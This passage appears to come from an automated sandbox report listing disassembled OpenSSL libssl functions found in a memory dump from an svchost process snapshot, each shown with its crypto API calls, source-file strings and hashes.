EVP_MD_get_size.LIBCRYPTO-3-X64 ref: 00007FFBAB441C94
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB441C9D
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB441CB5

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB441D5E
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB441D76

Strings

key, xrefs: 00007FFBAB441EF3
tls13_hkdf_expand, xrefs: 00007FFBAB441D63, 00007FFBAB441F77
ssl\tls13_enc.c, xrefs: 00007FFBAB441CAE, 00007FFBAB441D6F, 00007FFBAB441E3B, 00007FFBAB441E90, 00007FFBAB441F7E
derive_secret_key_and_iv, xrefs: 00007FFBAB441CA2, 00007FFBAB441E2F, 00007FFBAB441E84

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$D_get_sizeR_vset_error
String ID: derive_secret_key_and_iv$key$ssl\tls13_enc.c$tls13_hkdf_expand
API String ID: 773136946-1769045784
Opcode ID: 0231e931ef7cdaa0a56683b6b8689033dbc63919f11125f5bd0f8acc5763542b
Instruction ID: 1c076242ed411d58926a9e7b3889481541e9d637afab86df160bd68746a9388c
Opcode Fuzzy Hash: 0231e931ef7cdaa0a56683b6b8689033dbc63919f11125f5bd0f8acc5763542b
Instruction Fuzzy Hash: 1791607660AB8282EB61DB22E4917AE77A4FB88B80F108435DFAD43B65DF3CD555C700

Function 00007FFBAB422770 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 173COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB422793
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4227AB
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB4227BC
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB422822
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42283A
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB42284A

Strings

ssl\ssl_conf.c, xrefs: 00007FFBAB4227A4, 00007FFBAB422833, 00007FFBAB42296F, 00007FFBAB4229D1
cmd=%s, value=%s, xrefs: 00007FFBAB42298A
ctrl_switch_option, xrefs: 00007FFBAB422827
SSL_CONF_cmd, xrefs: 00007FFBAB422798, 00007FFBAB422963, 00007FFBAB4229C5
<EMPTY>, xrefs: 00007FFBAB422980
cmd=%s, xrefs: 00007FFBAB4229E2

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: <EMPTY>$SSL_CONF_cmd$cmd=%s$cmd=%s, value=%s$ctrl_switch_option$ssl\ssl_conf.c
API String ID: 1552677711-1544666551
Opcode ID: 8394d6f49662b3752447eaa2c7e46edcf05cf4991946146562246dfa91965209
Instruction ID: 46d03d556ef9c98c91a17178e3723bc21e21fb5e382edd74c3f7e9e4f041d7e5
Opcode Fuzzy Hash: 8394d6f49662b3752447eaa2c7e46edcf05cf4991946146562246dfa91965209
Instruction Fuzzy Hash: 9F6192A2B0A64282FB529B6AE4412F973A1EF84780F588436DE6C477F5DF3CD985C700

Function 00007FFBAB44EEDC Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 170COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB44EF73
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB44EF8B
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB44EFDD
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB44EFF5
OSSL_ERR_STATE_new.LIBCRYPTO-3-X64 ref: 00007FFBAB44F006
OSSL_ERR_STATE_save.LIBCRYPTO-3-X64 ref: 00007FFBAB44F01A
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB44F0B2
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB44F0CA
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB44F11C
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB44F134
OSSL_ERR_STATE_new.LIBCRYPTO-3-X64 ref: 00007FFBAB44F145
OSSL_ERR_STATE_save.LIBCRYPTO-3-X64 ref: 00007FFBAB44F159

Strings

ch_rx_handle_packet, xrefs: 00007FFBAB44EFE2, 00007FFBAB44F121
new packet with old keys, xrefs: 00007FFBAB44EF9D
ossl_quic_channel_raise_protocol_error_loc, xrefs: 00007FFBAB44EF78, 00007FFBAB44F0B7
ssl\quic\quic_channel.c, xrefs: 00007FFBAB44EF84, 00007FFBAB44EFEE, 00007FFBAB44F0C3, 00007FFBAB44F12D
QUIC error code: 0x%llx%s%s%s, reason: "%s", xrefs: 00007FFBAB44EFCD, 00007FFBAB44F10C
client received initial token, xrefs: 00007FFBAB44F0DC

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_set_debug$E_newE_saveR_newR_set_error
String ID: QUIC error code: 0x%llx%s%s%s, reason: "%s"$ch_rx_handle_packet$client received initial token$new packet with old keys$ossl_quic_channel_raise_protocol_error_loc$ssl\quic\quic_channel.c
API String ID: 2363558997-2370986996
Opcode ID: 63c52f1f679ab2f8c704dffe7516243d4f98cfd88b06ed1081e41bf7ac340370
Instruction ID: b1830102049fc844b03ca196ab29ce73f4661b77dce8245893987c3b16be9d96
Opcode Fuzzy Hash: 63c52f1f679ab2f8c704dffe7516243d4f98cfd88b06ed1081e41bf7ac340370
Instruction Fuzzy Hash: BB8179B1A0EB8186FB26DB70E5603BAB3A0EB45744F448435DFAE066A5DF3DE455C700

Function 00007FFBAB474B00 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB474B31
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB474B49
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB474B5A
memcpy.VCRUNTIME140 ref: 00007FFBAB474B8B
EVP_CIPHER_CTX_new.LIBCRYPTO-3-X64 ref: 00007FFBAB474B90
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB474BA4
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB474BBA
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB474BCA

Strings

ssl\record\methods\tls13_meth.c, xrefs: 00007FFBAB474B42, 00007FFBAB474BB3, 00007FFBAB474C85
tls13_set_crypto_state, xrefs: 00007FFBAB474B36, 00007FFBAB474BA9, 00007FFBAB474C79

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error$X_newmemcpy
String ID: ssl\record\methods\tls13_meth.c$tls13_set_crypto_state
API String ID: 3455081293-161958930
Opcode ID: e3be309d963c88f2fe24521019dd4e2fc3f73837044a9501c9475d7630e1dba2
Instruction ID: a5f9628559a62b9ad47a9479698f0e6841343a7bb72cb3611e06abf03ed13c19
Opcode Fuzzy Hash: e3be309d963c88f2fe24521019dd4e2fc3f73837044a9501c9475d7630e1dba2
Instruction Fuzzy Hash: B541A272A0968282E662DB76D5917BE7360EF85784F408131EE6C47AF6DF3CE148CB00

Function 00007FFBAB41A320 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41A35C
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB41A374

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

EVP_PKEY_CTX_new_from_name.LIBCRYPTO-3-X64 ref: 00007FFBAB41A3A0
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41A3AD
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB41A3C5
EVP_PKEY_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41A4C3

Strings

ssl_generate_pkey_group, xrefs: 00007FFBAB41A361, 00007FFBAB41A3B2, 00007FFBAB41A3F4, 00007FFBAB41A43B, 00007FFBAB41A480
ssl\s3_lib.c, xrefs: 00007FFBAB41A36D, 00007FFBAB41A3BE, 00007FFBAB41A400, 00007FFBAB41A447, 00007FFBAB41A48C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$R_vset_errorX_freeX_new_from_name
String ID: ssl\s3_lib.c$ssl_generate_pkey_group
API String ID: 1495955094-2105823734
Opcode ID: 844b4cd634b56560445525d614e96ae7fb6d62c2002cb2220d5f785b33164284
Instruction ID: 699205f3e41dd82371b5a1f3504c7e60b33f0bfc1850bd00150f067b2c7a6a45
Opcode Fuzzy Hash: 844b4cd634b56560445525d614e96ae7fb6d62c2002cb2220d5f785b33164284
Instruction Fuzzy Hash: 844163B1E5E74282E662E772E5926BE2311BF84780F408436ED7D47AB6DE6CE5088701

Function 00007FFBAB430970 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

BIO_s_file.LIBCRYPTO-3-X64(?,00007FFBAB421AB2), ref: 00007FFBAB43099E
BIO_new.LIBCRYPTO-3-X64(?,00007FFBAB421AB2), ref: 00007FFBAB4309A6
ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB421AB2), ref: 00007FFBAB4309B3
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB421AB2), ref: 00007FFBAB4309CB
BIO_ctrl.LIBCRYPTO-3-X64(?,00007FFBAB421AB2), ref: 00007FFBAB4309E9
ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB421AB2), ref: 00007FFBAB4309F2
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB421AB2), ref: 00007FFBAB430A0A
ERR_set_error.LIBCRYPTO-3-X64(?,00007FFBAB421AB2), ref: 00007FFBAB430AE2
BIO_free.LIBCRYPTO-3-X64(?,00007FFBAB421AB2), ref: 00007FFBAB430AEA

Strings

ssl\ssl_rsa.c, xrefs: 00007FFBAB4309C4, 00007FFBAB430A03, 00007FFBAB430A8A, 00007FFBAB430ACA
SSL_CTX_use_PrivateKey_file, xrefs: 00007FFBAB4309B8, 00007FFBAB4309F7, 00007FFBAB430A7E, 00007FFBAB430ABE

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_ctrlO_freeO_newO_s_fileR_set_error
String ID: SSL_CTX_use_PrivateKey_file$ssl\ssl_rsa.c
API String ID: 1899708915-1288404938
Opcode ID: 566ff9b448db7582449d80dcdbec908e32c8caa8934769aaaa3b523820c779ea
Instruction ID: 77a83e85d800906f76c2459effbf36925335ec52543ce582cece963b1ea6f445
Opcode Fuzzy Hash: 566ff9b448db7582449d80dcdbec908e32c8caa8934769aaaa3b523820c779ea
Instruction Fuzzy Hash: 2541B2A1A4EA4681F622EB72E8513FD2351EF84B80F54C036ED6D577B6DE3CE50A8301

Function 00007FFBAB433020 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

BIO_s_file.LIBCRYPTO-3-X64 ref: 00007FFBAB43304E
BIO_new.LIBCRYPTO-3-X64 ref: 00007FFBAB433056
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB433063
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB433079
BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB433097
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4330A0
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4330B8
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB433174
BIO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB43317C

Strings

SSL_use_RSAPrivateKey_file, xrefs: 00007FFBAB433068, 00007FFBAB4330A5, 00007FFBAB433119, 00007FFBAB433150
ssl\ssl_rsa_legacy.c, xrefs: 00007FFBAB433072, 00007FFBAB4330B1, 00007FFBAB433123, 00007FFBAB43315C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_ctrlO_freeO_newO_s_fileR_set_error
String ID: SSL_use_RSAPrivateKey_file$ssl\ssl_rsa_legacy.c
API String ID: 1899708915-461091929
Opcode ID: 5cde4c806b710f76ed28160dbc15bad2ebd6843a0016fdf10aa6ab05bda00406
Instruction ID: deeac1462d72cbdfe0729cfd270f45b6f6dcb370e54c8df0c926981d7306e086
Opcode Fuzzy Hash: 5cde4c806b710f76ed28160dbc15bad2ebd6843a0016fdf10aa6ab05bda00406
Instruction Fuzzy Hash: C23180B1A4E64381FA62E772D8921BD2351AF84B80F58C431ED7D477B7DE2CE50A8741

Function 00007FFBAB48A900 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 187COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB48F66B), ref: 00007FFBAB48A92F
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB48F66B), ref: 00007FFBAB48A947

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64(?,00007FFBAB48F66B), ref: 00007FFBAB48A98D
ERR_set_debug.LIBCRYPTO-3-X64(?,00007FFBAB48F66B), ref: 00007FFBAB48A9A5

Strings

set_client_ciphersuite, xrefs: 00007FFBAB48A934, 00007FFBAB48A992, 00007FFBAB48A9ED, 00007FFBAB48AA66, 00007FFBAB48AB3C, 00007FFBAB48AB8A, 00007FFBAB48ABC0
ssl\statem\statem_clnt.c, xrefs: 00007FFBAB48A940, 00007FFBAB48A99E, 00007FFBAB48A9F9, 00007FFBAB48AA72, 00007FFBAB48AB48, 00007FFBAB48AB96, 00007FFBAB48ABCC

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$R_vset_error
String ID: set_client_ciphersuite$ssl\statem\statem_clnt.c
API String ID: 4275876640-3316213183
Opcode ID: 0da9d00d88a3c9e4bc4e657cc29b7de6a08c5f5cfb86228f52ce337bad5db1ec
Instruction ID: da6c8d986922608e429e8093f057fa299834d7178b20fb2d560999c257689f07
Opcode Fuzzy Hash: 0da9d00d88a3c9e4bc4e657cc29b7de6a08c5f5cfb86228f52ce337bad5db1ec
Instruction Fuzzy Hash: E781B3A1B0A68285E792DB72E4917BD2351EF44B84F04C431DF2D87BB6DE6DE4858740

Function 00007FFBAB4266C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB426709
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB426721
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB426733
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB426754
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42676C
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4267AC
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4267C4
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB4267D5
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB426805
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42681D
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB42682E
OPENSSL_sk_new_null.LIBCRYPTO-3-X64 ref: 00007FFBAB426864
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB426875
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42688D
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB42689E

Strings

SSL_dane_enable, xrefs: 00007FFBAB42670E, 00007FFBAB426759, 00007FFBAB4267B1, 00007FFBAB42680A, 00007FFBAB42687A
ssl\ssl_lib.c, xrefs: 00007FFBAB42671A, 00007FFBAB426765, 00007FFBAB4267BD, 00007FFBAB426816, 00007FFBAB426886

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$R_set_error$L_sk_new_null
String ID: SSL_dane_enable$ssl\ssl_lib.c
API String ID: 960851727-1732324311
Opcode ID: 83a753f3cd16f23e90cc5c6fc46ade45cdee53ad99802808ec23b49fcba1e73a
Instruction ID: 29c554ac5a372336842be3cb09ee2611b84833c9f60ac10e51148f89e4bdf5df
Opcode Fuzzy Hash: 83a753f3cd16f23e90cc5c6fc46ade45cdee53ad99802808ec23b49fcba1e73a
Instruction Fuzzy Hash: D651D5B1A0A54282F7A29B36E4817BD2351EF40794F849135EE7D43AF9DF3CE4958701

Function 00007FFBAB49BBC0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB49DDDD), ref: 00007FFBAB49BC2A
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00007FFBAB49DDDD), ref: 00007FFBAB49BC42
ERR_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB49DDDD), ref: 00007FFBAB49BC58
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00007FFBAB49DDDD), ref: 00007FFBAB49BC70
ERR_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB49DDDD), ref: 00007FFBAB49BD4C
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00007FFBAB49DDDD), ref: 00007FFBAB49BD64
EVP_PKEY_free.LIBCRYPTO-3-X64(?,?,?,00007FFBAB49DDDD), ref: 00007FFBAB49BD82

Strings

tls_process_cke_dhe, xrefs: 00007FFBAB49BC2F, 00007FFBAB49BC5D, 00007FFBAB49BCC4, 00007FFBAB49BD27, 00007FFBAB49BD51
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB49BC3B, 00007FFBAB49BC69, 00007FFBAB49BCD0, 00007FFBAB49BD33, 00007FFBAB49BD5D

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$Y_free
String ID: ssl\statem\statem_srvr.c$tls_process_cke_dhe
API String ID: 2633058761-2145857467
Opcode ID: 32861d7e0c462356a77c90ea6bdff1ef6e75bd714c85a65ad47899a9e052be1d
Instruction ID: 292965b43863e170442ae6ceb1d7e212148877639f28a080cc0982d33651269d
Opcode Fuzzy Hash: 32861d7e0c462356a77c90ea6bdff1ef6e75bd714c85a65ad47899a9e052be1d
Instruction Fuzzy Hash: 64414DE1A5EA8281FA229B72D8D13BD6361EF40B80F44C531DE2D576B6DE3DE5468700

Function 00007FFBAB44E980 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 248COMMON

Download Yara Rule

APIs

BIO_ADDR_family.LIBCRYPTO-3-X64 ref: 00007FFBAB44EAB3
BIO_ADDR_family.LIBCRYPTO-3-X64 ref: 00007FFBAB44EAC1
BIO_ADDR_family.LIBCRYPTO-3-X64 ref: 00007FFBAB44EADD
BIO_ADDR_family.LIBCRYPTO-3-X64 ref: 00007FFBAB44EAE8
BIO_ADDR_family.LIBCRYPTO-3-X64 ref: 00007FFBAB44EAF8
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB44EC09
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB44EC21
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB44EC73
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB44EC8B
OSSL_ERR_STATE_new.LIBCRYPTO-3-X64 ref: 00007FFBAB44EC9C
OSSL_ERR_STATE_save.LIBCRYPTO-3-X64 ref: 00007FFBAB44ECB0

Part of subcall function 00007FFBAB468250: ERR_new.LIBCRYPTO-3-X64(00007FFBAB44E583), ref: 00007FFBAB468262
Part of subcall function 00007FFBAB468250: ERR_set_debug.LIBCRYPTO-3-X64(00007FFBAB44E583), ref: 00007FFBAB46827A
Part of subcall function 00007FFBAB468250: ERR_set_error.LIBCRYPTO-3-X64(00007FFBAB44E583), ref: 00007FFBAB46828B

Strings

packet header reserved bits, xrefs: 00007FFBAB44EC33
ch_rx_handle_packet, xrefs: 00007FFBAB44EC78
ossl_quic_channel_raise_protocol_error_loc, xrefs: 00007FFBAB44EC0E
ssl\quic\quic_channel.c, xrefs: 00007FFBAB44EC1A, 00007FFBAB44EC84
QUIC error code: 0x%llx%s%s%s, reason: "%s", xrefs: 00007FFBAB44EC63

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_family$R_set_debug$R_newR_set_error$E_newE_save
String ID: QUIC error code: 0x%llx%s%s%s, reason: "%s"$ch_rx_handle_packet$ossl_quic_channel_raise_protocol_error_loc$packet header reserved bits$ssl\quic\quic_channel.c
API String ID: 1562493706-209172816
Opcode ID: 3fe0d78d965c727c65b80cbfd3ba234ad12b654d972b08e2f3a73d7082e785bc
Instruction ID: 852e86f5632684593ac720099935ae4223ab2cbf0b91483d4c8d53851a25c9a3
Opcode Fuzzy Hash: 3fe0d78d965c727c65b80cbfd3ba234ad12b654d972b08e2f3a73d7082e785bc
Instruction Fuzzy Hash: 8FB191B2A0AA8186EA6ADB35D4603BA73A0FB45744F448136DFAE437A1DF3CE454C705

Function 00007FFBAB41EA30 Relevance: 28.1, APIs: 7, Strings: 9, Instructions: 101stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB41EA66
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB41EA97
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41EB30
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB41EB48
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB41EB59

Strings

SUITEB128ONLY, xrefs: 00007FFBAB41EA5A
ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384, xrefs: 00007FFBAB41EB7C
ECDHE-ECDSA-AES256-GCM-SHA384, xrefs: 00007FFBAB41EB83, 00007FFBAB41EB93
ECDHE-ECDSA-AES128-GCM-SHA256, xrefs: 00007FFBAB41EB9F
ssl\ssl_ciph.c, xrefs: 00007FFBAB41EB41
SUITEB128C2, xrefs: 00007FFBAB41EA8A
